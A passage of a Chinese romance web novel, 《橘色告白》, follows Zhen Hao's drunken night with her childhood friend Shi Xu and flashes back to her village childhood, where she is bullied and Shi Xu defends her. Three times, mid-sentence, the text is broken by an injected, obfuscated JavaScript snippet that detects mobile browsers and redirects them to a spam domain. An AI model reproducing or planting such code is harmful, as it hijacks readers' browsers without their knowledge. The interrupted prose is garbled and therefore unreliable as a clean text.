《橘色告白》 1. 连你都要欺负我 如果时光逆转，我依然会随心做出选择。 哪怕知道是深渊，哪怕知道是火海，也不后悔。 因为那些苦难，那些泪水，都将成为灌溉我的养料。 ——《橘色告白》 大雨滂沱的深夜，整座城市变得朦胧，连霓虹灯都被雨水洇出了虚影。 时序洗完澡出来，上半身光着，只有下半身围着浴巾。水滴自他近乎完美的下颌线滴落到漂亮的锁骨上，又滑至紧实的小腹，最后没入人鱼线中。 他走到客厅的沙发上坐下，一只手擦着半干的头发，一只手拿起手机。 置顶的微信对话框有三条新消息。 好什么好：“他出轨了。” 好什么好：“我不想结婚了。” 好什么好：“来橘色陪我喝酒。” 时序看完，擦头发的手一顿，狭长的眼眸微眯，不明显的怒火缓缓蔓延。 他快速回了两个字：“等我。” 等他驱车赶到橘色时，甄好已不知喝了几杯，白皙的脸颊泛着不正常的红。 见他来了，甄好淡淡地笑了笑，抱怨道：“你怎么才来？你再晚来一点，我就跟别的男人跑了。” 在时序来之前，她已经凶巴巴地赶跑了几个前来搭讪的男人。 其中一个男人抓着她细若无骨的手腕，满脸都是下流之色：“穿那么少不就是出来给男人玩的吗？” 被激怒了的甄好在酒精的作用下，与平时判若两人：“老娘穿多穿少干你屁事啊？” 那男人却更加肆无忌惮：“少装了。说吧，一晚多少钱？” 这回甄好话都懒得说了，直接上手，一个响亮的巴掌直直地甩在那男人脸上。 后来要不是老板过来协调，免了对方的单，这事恐怕还没完。 想起方才的遭遇，甄好又笑了：“阿序，我刚刚打人了，还打了那猪头好几个巴掌呢，想不到吧？” 时序没有说话，只是目光越来越沉。 “想不到乖乖女甄好也会打人巴掌，也会穿着性感小短裙来酒吧喝酒，也会为了男人而跟父母翻脸吧？”甄好说着又端起一杯酒，仰头一饮而尽。 苦涩在她心中逐渐蔓延，分不清是酒难喝还是心情作祟。 “阿序，你怎么不理我？”一杯酒下肚，甄好感觉面前的虚影更重了。 她伸出手轻轻地抚上男人的脸，咬字也轻轻的，带着一丝娇俏：“阿序，你是不是跟他一样，也厌烦我了？” 时序任由她摸着自己的脸，眼里满是心疼，却又刻意掩饰着，口是心非道：“你知道就好，大半夜还给我添麻烦。” 甄好却不以为意，问题一个接一个：“阿序，这么多年了，我还是比不上阿美吗？” 闻言，时序目光微变：“什么意思？” 难道那个男人的出轨对象是甄美？ 时序不愿意相信事情的真相是这样的，毕竟甄美是小甄好五岁的亲妹妹，是他们都疼在骨子里的妹妹。 甄好却始终没有下文。 他只得轻轻地摇了摇女人的肩：“好好？” 可惜的是，甄好已经醉意上头，问完那个问题便趴在桌上睡着了。 甄家家风严谨，倘若将醉得不省人事的甄好送回家，势必要引起轩然大波。不得已之下，时序只能带她回自己家。 回去的一路上，甄好都十分乖巧地靠在椅子上睡觉。 等最后一个红灯的间隙，时序侧头看着女人。 甄好连闭上眼睛都是极美的，恬静的睡颜一点都看不出是个喝多了的酒鬼，只是眉心始终皱着，仿佛有诉不清的愁绪。 他伸手将她的眉头抚平，眼里是他自己都没有发觉的温柔。 “好好，如果太辛苦，就放手吧。”时序知道她听不见才敢这样表露心意，“不管未来如何，都有我。” 他与甄好从小一起长大，看着她从敏感自卑的小姑娘长成如今自信大气的模样，也看着她从被爱滋润成小女人到此时吃够爱情之苦的狼狈不堪，他心痛却无能为力。 让她哭让她笑的人始终不是他。 雨越下越大，好似要把整座城都倾倒。时序放慢车速，到家时比平日里多用了十五分钟。 许是在路上睡了一觉，车一停下来，甄好就稍微清醒了不少。 不过她一开口，时序便知道这只是自己的错觉。 她短促地笑了一声，柔软的指腹戳在时序的左脸上，而后猛地靠近他，声音又娇又柔：“这是哪儿来的小哥哥呀？真好看。” 时序目光微沉，拼命按下心中那丝痒，扶着她下车：“跟我回家。” “跟你回家干吗呀？”甄好浑身发软，整个人几乎是靠在时序身上的，“跟你回家睡觉吗？他都不愿意跟我睡觉，你呢？你愿意跟我睡觉吗？” “甄好。”时序停下脚步，严肃地叫她的名字。 “干吗这么凶……”甄好站不稳，索性面对他，双手搂住他的脖颈，委屈的声音轻轻地扫过男人的耳畔，又在他心里拂起一丝痒来。 时序拿她没办法，只得打横将人抱起，大步朝电梯厅走去。 他怀中的女人倒是丝毫不客气，直往他怀里钻，片刻后才安分下来，像是终于找到了舒适的姿势。 时序突然觉得恼火。 如果今晚带她回家的人不是自己，她是不是也会这样主动？ 主动搂人，主动投怀送抱，还主动要跟人睡觉…… 光是想到这些，时序就发觉自己嫉妒得快要发狂。 恼怒加嫉妒的心情夹杂在一起，让时序不由得微微用力抱紧了怀中之人，等进了门，更是直接将她整个人往沙发上一扔。 只是在放手的一瞬间，他还是怜惜地用手掌护住甄好的后脑勺，轻轻地将她放在柔软的沙发上。 抱着人的时间有些久，他的气息微微不稳，刚放下人要起身，却被一只细白的手攥住衣领。 紧接着，他整个人不受控制地朝前扑去。 要不是他反应快，下意识地用一只手撑住沙发，很难保证那股惯性不会伤到甄好。 但饶是他的动作再快，脸也依然猛地撞上一片柔软。 意识到自己撞到的是什么，时序的耳根子顿时热了起来。 他红着脸想要起身，但脖子被甄好的一双手紧紧缠绕。 以他现如今的姿势，很难用上劲，一时之间竟无法挣脱她的桎梏。 “我好热啊……”甄好迷迷糊糊的，根本分不清面前之人是谁，“我要洗澡。” 等好不容易将人送进浴室，时序才倚在门口深深地呼了一口气。 待大脑冷静下来后，他又开始担忧甄好一个人在里面有没有问题。于是，他片刻也不敢离开地守在浴室门口。 门内一直传来哗啦啦的水声，还隐约夹杂着听不出调的歌声，时序一颗提着的心这才缓缓落回肚子里。 他刚放松不到两秒，浴室内就传来一声不大不小的呼叫，惊得他什么都没想便拧开门把手。 这一拧，他才发现甄好没有反锁门，但他也顾不得那么许多了，打开门就径直往里走去。 淋浴房内热气氤氲，他只能模模糊糊看见一个人影。 “好好，你没事吧？”时序的呼吸有些不稳。 洗澡的时候摔倒可不是闹着玩的。 “我的头发好像卡住了。”甄好的声音带着几分委屈和像小女孩般的控诉，“怎么连头发都欺负我……” “你慢慢来，你——” 时序的话还没说完就被她打断了：“我解不开……阿序，你进来帮我好不好呀？” 时序：“……” “好不好嘛……”甄好喝了酒与平时判若两人，格外会撒娇，“阿序哥哥，你进来帮帮人家嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557322|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 那种痒意再度爬上时序心头，伴随着一股燥热，流遍他浑身的血液。 “那……那我进去了。”时序闭上眼睛，凭借记忆摸索着前进，也正是因为闭着眼睛，他刚靠近甄好就被顶喷的水打湿了半边身体，然而他依旧不敢睁开眼睛。 甄好睁着一双迷蒙的大眼睛看着宛若谦谦君子的男人，不乐意了：“阿序，我不好看吗？” “好看。”时序的喉结上下滚动了两下。 “好看你为什么不睁开眼睛看我？”甄好主动将手攀在男人的肩膀上，轻轻一拉，将人完全地带到顶喷下。 柔和的流水很快让时序全身都湿透了，也让他霎时清醒了几分，但依旧没有睁开双眼：“你的头发……” “刚刚突然自己解开了。”甄好娇媚一笑，手丝毫没有要放开时序的意思。 时序拉开自己肩上的手：“那我出去了。” 下一秒，甄好直直吻上了他的唇，呼吸交错间，女人抓着他的手放在自己胸前，声音带着媚：“阿序哥哥，想不想要我？” 时序感觉自己大脑中那根紧绷的弦一下子就断了。 从他们紧紧相贴的身体，甄好轻而易举就感受到男人的变化，她很满意他的反应。 她伸手轻抚男人湿透的衬衫下那富有线条感的肌肉，一寸一寸都像在拨动早已紧绷的琴弦—— 砰—— 琴弦终于禁不住撩拨而肆意断裂，呼吸声与心跳声渐渐交融。 接下来的事情顺理成章，火热与冰冷，奔赴与迎合…… 第二日，从窗户照进来的阳光跳跃在女人姣好的面容上。 甄好比身边之人先醒来。 她本能地抬手遮了一下阳光，记忆也在瞬间慢慢回笼。 喝尽的酒瓶、打开的顶喷、主动的自己、滚烫的身体，还有…… 她侧头看着躺在自己身边的男人，顿时觉得有如五雷轰顶。 那个男人真的是时序，真的是跟她从小一起长大的时序…… 她怎么能对自己的好兄弟做出此等禽兽之事？还央着他不要停…… 俗话说兔子不吃窝边草，现在她还不止吃了一次。 甄好思索再三，决定三十六计走为上计，提上裤子不认是她和时序之间最好的结局。 就在她蹑手蹑脚地将横跨在自己身上的手轻轻提起时，男人低沉的嗓音忽地响起：“吃干抹净就想跑？” “时序，我没有……”甄好一下子也不知道该说什么。 “你昨晚不是这样叫我的。”时序有些失落，“你昨晚叫我阿序哥哥，很好听，我很喜欢。” 甄好露出一个比哭还难看的笑容：“昨晚我喝多了……” “好好，睡了我就要对我负责。”时序露出委屈的表情，像极了怕被遗弃的大型犬。 甄好心软的同时还是很不愿意接受这个事实。 她是有未婚夫的人。 除此之外，她和时序是好兄弟，是二十几年的好兄弟。 比起恋人，她更想和时序做一辈子的好朋友。 因为任何关系都要比恋人来得稳固，她不想面对可能会失去时序的风险。 就在气氛有些僵持的时候，甄好的手机振动了一下。 是某某银行的短信：“【××银行】温馨提醒，您尾号9988还款账户的贷款，贷款余额998,667.05元，本期应还8,965.08元，还款日为04月25日，活期账户余额不足，请确保账户余额充足。” 她需要在两日后凑齐这笔还款，而这，只是她其中的一项欠款而已。 被劈腿、债台高筑、工作不顺，这便是她二十八岁的样子。 甄好苦笑一声，不明白自己怎么活成了这副模样。 如果时光能够倒流，她还会做出同样的选择吗？ 她不知道。 2. 她有人生没人养 人啊，要接受父母其实没那么爱你。 ——《橘色告白》 一九九二年，农历七月十四。 甄家长孙女出生了，除了刚出生时那一声洪亮的啼哭，此后都乖巧得不像是个尚在襁褓的小娃娃。 甄奶奶逢人就夸：“我们家好好乖的哩，吃饱了就乖乖睡觉，醒了就睁着大眼睛好奇地看着周围，不哭也不闹。” 在邻里邻外都赞叹甄好真是个天使宝宝时，甄奶奶却总要加一句：“要是个带把的就好咯。” 甄爷爷就不爱听这话，说起甄好总是笑呵呵的：“孙女好，是爷爷奶奶的小棉袄。” “是，是，是，孙女好，是爷爷奶奶的小棉袄。”甄奶奶也跟着笑，眼里尽是对孙女的喜爱。 甄爱缱嘴上虽然总说孙女不是个带把的，但对甄好的疼爱是发自真心的。 她是真爱这个孙女，也是真想再要个孙子。 甄好四肢修长，一看就知道以后会长成个子高挑的姑娘，就是皮肤黑黑的，小小的肚子每日跟吹了气似的，胀得圆滚滚的。 位于闽市闽镇的刺桐村，坐落在海拔五百米的半山腰，远离镇中心，民风淳朴的同时思想落后封建，素有给孩子取个贱名好养活的说法。 于是，算不上粉雕玉琢的黑皮娃娃甄好就在甄奶奶的一锤定音之下，拥有了自己的贱名——阿砰。 在闽话里，这两个字是又胖又圆滚滚的意思，带有嘲讽之意。 如果当时的甄好能够自主选择，她一定会撒泼打滚拒绝这个贱名。 可惜没有如果。 全家人对这个贱名没有任何意义，毕竟比邻居家的“臭头”“米粉猪”一类的贱名比起来，“阿砰”听起来甚至还有些可爱。 只有甄爷爷注意到重点：“好好的肚子总这样胀气是不是因为脾胃不好？” 也只有甄爷爷坚持叫她“好好”，并表示：“好好多好听，一听就很美好。” 但贫穷的甄家没有多余的钱给甄好找医生，就那么按猪养，也顺顺当当地把孩子拉扯大了。 甄好五岁那年，八月的天，本应是酷暑难耐的季节，可闽镇沿海，台风天是夏日里的常客。 台风来临之前，乌云层层压下来，风卷着地上的塑料袋飞向半空，朝未知的方向越飞越远。 甄好坐在自家院子里的大石头上，晃着两条小胖腿，看天上的云被风吹得快速翻涌着。 像极了她在电视里看过的筋斗云。 甄家有台老旧的彩色电视机，是有钱的亲戚家淘汰下来的，只能搜索到两三个频道，有时候风一吹，天线被吹歪了就只剩雪花在闪烁。 但那仍是甄家最值钱的家什，甄好常常和爷爷守在电视机前看她不懂的新闻和法制节目。 陪爷爷看电视是她童年里为数不多的娱乐活动，也是她长大后回忆起来最为温暖的时光。 甄好看了一会儿云，觉得脖子有些酸，便反身趴在大石头上，慢慢地踩到地面上。 爷爷奶奶不知去了哪里，偌大的家里只有簌簌的风声和一只狸花猫懒洋洋地卧在前厅的竹椅上。 甄家很大，但略显破败，有的瓦片被风吹松了，一到下雨天还会漏水。 滴滴答答的，怎么都停不下来。 甄好不喜欢下雨天，也害怕台风季节，因为那意味着外面下大雨，家里下小雨。 台风总是伴随多日的强降雨，风雨交加的天气让她担惊受怕，怕那脆弱的房顶会塌下来，怕那雨水会像新闻报道的那样，越涨越高，直至将她淹没。 哪怕目前为止，这样惊险的时刻都未曾发生，她小小的心脏也总因恶劣的天气而揪着。 甄好跑向种着三棵巨大龙眼树的屋前院，边跑边喊：“爷爷……爷爷……” 小女孩的声音甜甜的，和在风声里，不知传向何方。 没有人回应她。 村里的小孩都是这样，小小年纪就可以一个人待在家里，也可以到外面和小伙伴疯玩。 邻里邻外都熟门熟路知根知底的，谁家孩子没回家，吼个几嗓子就差不多找到人了。 真是应了那句——交通靠走，找人靠吼。 甄好迈着小短腿往邻居家走去，她猜测爷爷奶奶也许在别人家泡茶话家常。 去邻居家需要经过一条窄小的土路，路面走的人多了，已经被踩实。小道两旁长满了野草，满目葱绿点缀着几朵小花，一株巨大的杧果树照下一片阴凉。 甄好每次走这种路都害怕会突然蹿出什么东西来，也害怕头顶会掉虫子下来。 闽镇属于亚热带海洋性季风气候，盛产水果，也盛产虫蛇。 虽然掉下来的经常是熟透了的小杧果。 风越来越大，乌云层层压下，偶有电光穿过。 雷暴就要来了。 就在甄好距离邻居家还有几步路的时候，一道刺目的光在她面前劈了下来，强光和地上的大石块摩擦出火花，燃起烧焦味。 紧接着，一声炸雷响起，震得仿佛地面都颤了颤。 甄好吓傻了，呆呆地站在原地挪不动脚步。 等她意识到刚才是一道惊雷劈在自己面前的大石头上后，“哇”的一声哭了出来，却在下一秒又死死咬着嘴唇不敢哭出声。 她想起有一天半夜醒来，她摸不到睡在自己身边的奶奶，便哭着跑了出去。 她不知道奶奶会去哪里，哪怕怕黑怕鬼，还是一路摸黑哭着朝家里田地的方向跑去。 田间小路又窄又满是杂草，甄好几次差点踩空栽进水稻田里，可依旧紧咬着嘴唇深一脚浅一脚地走着。 小小的背影在月色的掩映下，倔强得让人心疼。 等终于找到了奶奶，甄好没忍住“哇”的一声哭出来。 甄奶奶却拿着手里长长的银色老式手电筒作势要打她，表情恶狠狠的，语气凶巴巴的：“哭什么哭？不准哭！大半夜的不睡觉跑出来干吗？！” 甄好吓坏了，本能地往回缩，眼睛里包满了泪水，却再也不敢哭出来。 这成为甄好后来成长的人生里最为记忆深刻，也最为难过的一幕。 她满心期待，穿越重重障碍，终于来到信任亲近的家人身边，可她予以信赖的亲人对她露出了凶狠的一面…… 一个小女孩的心就那样轻轻地碎掉了。 从那之后，她再也没有在别人面前号啕大哭过，伤心了委屈了只会默默地淌着泪水，再也没有哭出过声音来。 长大后的甄好常常在想，如果那一晚，奶奶没有凶她，而是抱着她，温柔地安慰她不要怕就好了。 可是人生没有如果，她希望的无数次如果都不可能实现。 甄好再也顾不得找爷爷奶奶，转身就往家中跑去。 雷声大，雨点小，每打一次响雷，甄好的心脏就跟着骤缩。 她害怕虫子，害怕黑暗，害怕鬼怪，害怕打雷，害怕身边没有人……她害怕的东西实在太多了。 她一边流着眼泪，一边奋力地跑着。 为了减少内心的恐惧，她不成调地唱起奶奶教自己的童谣：“天黑黑，咩咯吼，海龙王咩娶某……阿公嘎锄头，咩挖芋……阿公要煮咸，阿嫲要煮淡，两人撒怕弄破顶……” 她跑着跑着，遇到几个小孩子在玩丢沙包。 小孩生性都是贪玩的，甄好童谣也不唱了，雷也不怕了——她也想玩丢沙包。 她眼巴巴地看着那只被扔来扔去的沙包，心里痒痒的，可是几个回合下来都没有人邀请她一起玩。 甄好难过得垂下了头，泪珠悬在睫毛上，将落未落。 最后到底还是敌不过玩乐的诱惑，她抬起头，靠近他们，再度鼓起勇气说道：“我可以跟你们一起玩吗？” 她丢沙包丢得可好了。 爷爷给她做了一个沙包，没人陪她玩的时候她就一个人在院子里自娱自乐，久而久之，准头便练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557323|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来了。 为首的孩子是村里的孩子王，名叫邹晓伟。他眼里闪过一丝狡黠，欣然答应道：“好啊，正好守方缺一个人。” 闻言，甄好本就被泪水浸润的眼睛更亮了。 她没想到他们会答应自己的加入，一时有些受宠若惊，忘了动作。 她不是第一次提出一起玩的请求，可这帮孩子从未接纳过她。 她不懂他们的恶意是从何而来，只能在不远处观察着游戏规则，回到家里再一遍遍地练习着丢沙包，希望有朝一日震惊四座。 “还愣着干吗？快去守方的阵营里。”邹晓伟指了指自己对方的场地，示意她快过去。 甄好不疑有他，屁颠屁颠地加入守方阵营。 一起玩的都是方圆五里人家的孩子，就算彼此的父母不熟，爷爷奶奶也都十分熟稔，甄好一想到以后自己多了这么多玩伴，就开心得合不拢嘴。 只是接下来的游戏好像没有她想象的那样有趣，首先，多人丢沙包和她平日里的自娱自乐根本不是一回事，她玩得烂极了。 其次，她的脑门挨了一下又一下的沙包，整个额头火辣辣地疼了起来。可为了合群，她只能紧咬牙关，不喊出一声疼。 “你们玩够了没有？”在他们又一次发起攻击时，攻方的队伍里有个不悦的声音响起。 时序跑到对面阵营中，一把拉过甄好的手就要将她拽走，后者却倔强地不肯顺从，浑身抗拒地往后退。 “你看不出来他们是故意扔你的？”时序盯着面前这个黑黑瘦瘦的女孩子，实在是看不下去她这样被人欺负，还傻乎乎地以为是别人在朝她释放善意，这才出声制止。 邹晓伟一听，不乐意了：“时序，你不要胡说。” “就是啊，玩丢沙包难免有磕磕碰碰的。”甄好也低声帮腔。 时序直接被气笑了：“真是好心没好报。” 他说着甩开甄好的手，颇为冷酷道：“要玩你们自己玩吧，没劲。” “时——”邹晓伟还想说什么却被另一个半大的孩子打断。 “晓伟，要我说，咱们就别装了，反正我也玩累了，我妈也该叫我回家吃饭了。”说这话的人是大甄好两岁，刚上一年级的陶文灿。 他说着朝身后的小伙伴一眨眼，带头唱起了他们新编的歌谣：“甄好甄好，有人生没人养，家里破破烂烂，一点也不好……甄好甄好，有人生没人养……” 小孩子能有多坏呢，一字一字都能杀人诛心。 甄好瞪红了双眼，却也只是紧紧掐着自己大腿的肉，敢怒不言语。 他们唱了一遍还不够，又从头唱了起来：“甄好甄好，有人生没人养，家里破破烂烂，一点也不好……甄好甄好，有人生没人养，家里破破烂烂……” 有一道身影快速掠过甄好，扑倒笑容得意的陶文灿，二人很快扭打在一起。 紧接着邹晓伟也扑了上去，三个人打得不可开交。 现场有胆小的孩子被吓哭了，甄好吓蒙的同时一滴眼泪滑落。等回过神来，她再也顾不得许多，冲上去对着欺负自己的人又是抓又是挠，任凭其他人怎么拉都没用。 等扭打终于结束，几个孩子坐在地上喘着粗气，被吓哭的孩子也停止了哭泣。 邹晓伟和陶文灿脸上被打得五彩缤纷，吃痛的表情要哭不哭，最后只不甘心地撂下一句“咱们走着瞧”便愤然离开了。 时序索性整个人躺在地上，看着天上的云快速游走，小小的胸膛有规律地起伏着。 甄好学着他仰躺在地面，这才发现原来用这个视角看天空的云是不一样的。 云好像变得更大，飞得也更快了。 时序侧头冲她一笑，无厘头道：“这样就对了。” “什么？”甄好不是很懂他的意思。 “遇到压迫要知道反抗，只知道忍是没用的。”时序重新看向天空，仿佛在说给身边的女孩听，又仿佛在说给自己听。 3. 以后绝不惹你哭 那是她吃过的最甜的桃子，那也是她见过的最美的月色。 ——《橘色告白》 甄好回家后，被甄爷爷罚站圈圈了。 夏日的夜晚，蚊子凶残，女孩细嫩的手臂和大腿被叮咬出大大小小的包。 甄爷爷语气温和，神情却严厉：“知道自己错在哪里了吗？” “我没错。”甄好梗着脖子道，说什么都不肯认错。 吃过晚饭，邹晓伟和陶文灿的家长找上门来了，痛诉甄家女娃把自己的孩子打得多惨多惨，这才有了眼下被罚站的一幕。 对此，甄好表示嗤之以鼻。 比她高比她壮的两个男孩子反倒被她揍得鼻青脸肿，怎么不在家反思反思，偏偏还有脸跑来告家长？ 真是懦弱，一点男子气概都没有。 甄好跟着爷爷看了不少武侠剧，江湖世界中那种侠肝义胆、仗剑天涯的豪气与英雄主义令她着迷不已，常常幻想自己也是行侠仗义的女侠。 然而现实是残酷的，如果不是时序，她连反抗的勇气都没有。 因为“我没错”三个字，甄好在甄爷爷画的圆圈里站了整整一个小时。 就在甄好揉着酸疼的腿迈出小院时，一颗小石子精准地打在她脚边。 她本就一肚子怨气，登时更加怒不可遏，抬头刚想骂人，就见院门外时序那张脸正对着自己笑嘻嘻。 “肚子饿不饿？”他对着她做着夸张的口型。 被他这么一提醒，甄好还真发觉自己饥肠辘辘，急需美食的犒劳。 于是，她点点头，又摇摇头。 “你这样……”时序说着点点头，接着摇摇头，“又这样……到底是饿还是不饿？” 甄好看了一眼亮着昏黄灯光的小厨房，心知爷爷奶奶一定给自己留了热乎乎的晚饭，可因为不服气，她又不是很想领这份情。 她原本对着厨房方向的脚尖瞬间朝院门拐去，几步走到时序面前：“我饿，好饿。” 看着小女孩在夜色中亮亮的眼睛和鼓鼓的脸颊，时序忍住想上手掐两把的冲动，神秘地对她挤挤眼：“走，带你去个地方。” 他说着，朝她伸出手。 “好呀。”甄好跟被蛊惑了般，将自己的手交到时序手中，任由他带着自己小跑在乡间的小路上。 晚风吹在耳畔，呼啸而过的童年带着稻花的香气，月光洒落人间，快乐在蔓延。 就如甄好此时雀跃的心。 被时序拉着走过一段路，她才想起来问：“时小序，你也没有吃晚饭吗？你妈妈不是……” 时序的母亲是小镇里出了名的温婉贤淑，尤其是一双巧手，不仅会做各种各样的菜，就是甜品糕点也不在话下，虽说…… 她小心翼翼地看了他一眼，没敢说出后面的话。 如果说甄好是有人生没人养，那时序便是有人养没人生。 表面上，甄好父母双全，实际上连父母的模样都记不清；而时序母子搬来闽镇的那天，仅仅过了半天时间，小镇上的人们便都知道拂柳巷尾搬来了一个漂亮的女人…… 在这个年代里，孤儿寡母总是容易受人非议，漂亮的寡妇更是为人津津乐道。 没人知道时序的父亲是谁，包括他自己。 这或许是他们比旁人更能够惺惺相惜的原因之一。 时序听到她的问题，无所谓地耸耸肩：“跟你一样，被罚站了。” 邹晓伟和陶文灿的家长不仅找上了甄家，亦找到了时家。在邹母和陶母的一番控诉之下，时序的母亲时谙女士当着众人的面，罚时序面壁思过，并把家里刚收成的桃子送了两篮子出去，对方这才作罢。 “妈——” 时序只喊了一个字就被时谙女士轻轻柔柔的嗓音打断：“阿序。” 他便老老实实地不再说话。 小胖子邹晓伟走出时家前，回头冲正被罚站的时序做了个鬼脸，恰巧和回过头的时序撞个正着。 邹小胖子得意地冲他扬起眉毛，笑得一脸嘚瑟。 鲜嫩的桃子汁淌到他肥圆的下巴处，看着就叫人没胃口。 时序嫌弃地扭过头不再看他。 心里那丝对桃子的渴望也因为邹晓伟难看的吃相而消失得一干二净。 “你站没罚完就跑啦？”甄好瞪大双眼，一副替他心惊胆战的模样。 时序被她逗笑：“没办法，蚊子太多了。” “同意。蚊子都快把我搬走了。”甄好赞同地点点头。 闽镇是未被商业开发的小镇，镇上的人们多半自给自足，水稻是常见的农作物。 原生态的地方总是盛产小动物，更何况是蚊子这种灭也灭不完的生物。 “你要带我去哪里呀？”甄好还是忍不住询问。 “马上就到了。”时序神神秘秘的，“等到了你就知道了。” 其实甄好心里怕得紧，她总是害怕在夜里出门，害怕脚下会踩到□□，甚至踩到蛇；也害怕黑暗里会突然窜出来白衣服黑头发的女鬼…… 感觉到自己的手被女孩越握越紧，时序有些无奈地侧头看了一眼甄好。 在看见她因为恐惧而绷紧的小脸时，他忽然顽劣地笑了笑。 “好好……好好……猜猜我是谁……”他学着鬼片里那种要死不活的瘆人语调开口，“好好……我在你身后啊……” 胆小的甄好哪里知道是时序在故意吓她，听到这如鬼魅般的声音瞬间就吓得脊背僵硬，连牙齿都微微颤抖。 下一秒，她的哭声和时序的喊疼声同时响起，前者盖过了后者，彻底淹没那一串不停歇的“疼疼疼”。 由于过于害怕，甄好几乎将时序的掌心掐破，算起来也是他自作自受。 他没想到这么一句话就把人吓哭了，顿时手足无措起来：“好好，你别哭啊。是我不好，我不该扮鬼吓你。你别哭了，好不好？” 他笨拙的安慰丝毫没有起到作用，甄好反而越哭越大声。 要不是他们已经跑到远离人家的田野里，恐怕这时已经有人会被她的哭声吸引而来。 无奈之下，时序只能拥抱哭到停不下来的女孩，并伸出手轻轻地摸摸她的头，又顺顺她的背。 好在这招有用，甄好在他怀里渐渐安静了下来。 见她不哭了，时序总算松了一口气。 怪不得时谙女士喜欢这样哄邻居家的小孩，原来确实有效。 “好好，对不起。”时序真心实意地道歉。 时谙女士经常教育他，做错了就要认，不要怕没面子。 他的确把甄好惹哭了，是他做错了。 甄好仍旧抽抽搭搭的，一双被水洗过的眼睛显得更加清澈，也看得时序更加内疚了。他再次道歉并保证：“对不起，以后我再也不吓唬你了。” “这可是你……你说的啊。嗝——”甄好轻轻地打了一个哭嗝才又继续说，“以后都不许再吓我了。” “嗯，这是我说的。”时序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557324|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学着电视里演的，对天举起三根手指，“我时序发誓，以后再也不让好好哭。” 看他滑稽的发誓动作，甄好破涕为笑。 见她笑了，时序重重地吁出一口气。 经过这么一闹，甄好感觉肚子更饿了：“时小序，我肚子要饿扁了。” 时序带她来的是自家的桃园，是时谙女士从小苗养到结果的用来贴补家用的果园。 此时正值桃子收成的季节，家里刚采摘的两篮子他还没来得及品尝便到了邹小胖嘴里，他实在是馋得紧，这才摸了过来想自己动手。 他踮起脚尖，摘了一个离地最矮的桃子，而后用衣服擦了擦，又轻轻地拍了拍上面的浮毛，才递给甄好：“喏，你先吃。” “时小序，偷桃吃真的没问题吗？”甄好犹豫道。 “这是我家的桃园，不叫偷。”时序不认同她的说法。 “可是时阿姨不知道，被发现了就不好了。”甄好还是觉得这样做不对。 爷爷是读过不少圣贤书的，经常教她一些做人的道理，她虽然很多都听不懂，但—— “这件事你不说我不说，我妈不会知道的。”时序安抚她。 这果园里那么多桃子树，少一两个时谙女士不会发觉的。 “爷爷常说不什么什么就是偷……”甄好一本正经道，“虽然我忘记爷爷是怎么说的了，但那意思说的就是现在的我们。好好不吃，好好不要当小偷。” 时序简直要被她气死，可望着她认真的小脸，他又说不出什么重话来，只得举起手中的桃子，一脸发愁道：“那它怎么办？” 浅青色的桃子在月光下透着淡淡的粉，看上去很是可口。 甄好盯着它，不自觉地咽了咽口水，表情却十分认真。 其实她好想吃。 家里种植的水果只有龙眼和杨梅，偶尔能吃到旺来和番石榴，还有一种她不爱吃的水果——橄榄。 橄榄吃着又酸又涩，她光想起来都觉得牙齿要倒了。 她爱吃的桃子、李子、甘蔗，还有枇杷和杧果，家里一样也没种，每到应季都只能眼巴巴看着邻居家的小孩吃。 当大人的当然不知道小孩子心里在想什么，加上甄好又从小就是个心思重的懂事孩子，从来不会主动要。 “要不，我们一人一口，把它吃掉吧。”甄好很快给自己找好了理由，“摘都摘下来了，不能浪费粮食。” 时序终于咧嘴笑了：“好好说得有道理。” 说干就干，两颗小脑袋很快凑近，甜丝丝的香气飘散在空中。 分食完桃子，甄好满足地笑着说：“桃子好甜，谢谢你，时小序。” 时序有些骄傲地答道：“不客气。” 月色下，美好还在持续蔓延。 一个小小的桃子哪里够正在长身体的两个小孩吃，当晚甄好就被饿醒了。 可是她不敢告诉奶奶，饿着饿着又睡着了。 她做了一个又香又甜的梦，梦里有好多好多桃子，多到都堆成了小山。桃子山后露出时序笑得能看到小虎牙的脸，一座漂亮的双彩虹出现在高远的天空上。 她还没做完的美梦被甄奶奶急促的叫喊声打断：“好好，快跟着奶奶走，跟紧点。” 甄好不知道发生了什么事，任由奶奶牵着自己在黑暗里行走，不知去向何方。 甄家在一夜之间，人去楼空。 因为什么而跑路，小镇上的人们心照不宣，却不可言说。 4. 认哥哥和认妹妹 今日天气晴，没有见到秋先生。 那个少年也没有多看我一眼。 ——《甄好日记》 “你跟踪我？”甄好冷冷地看着面前一脸窘迫的男生。 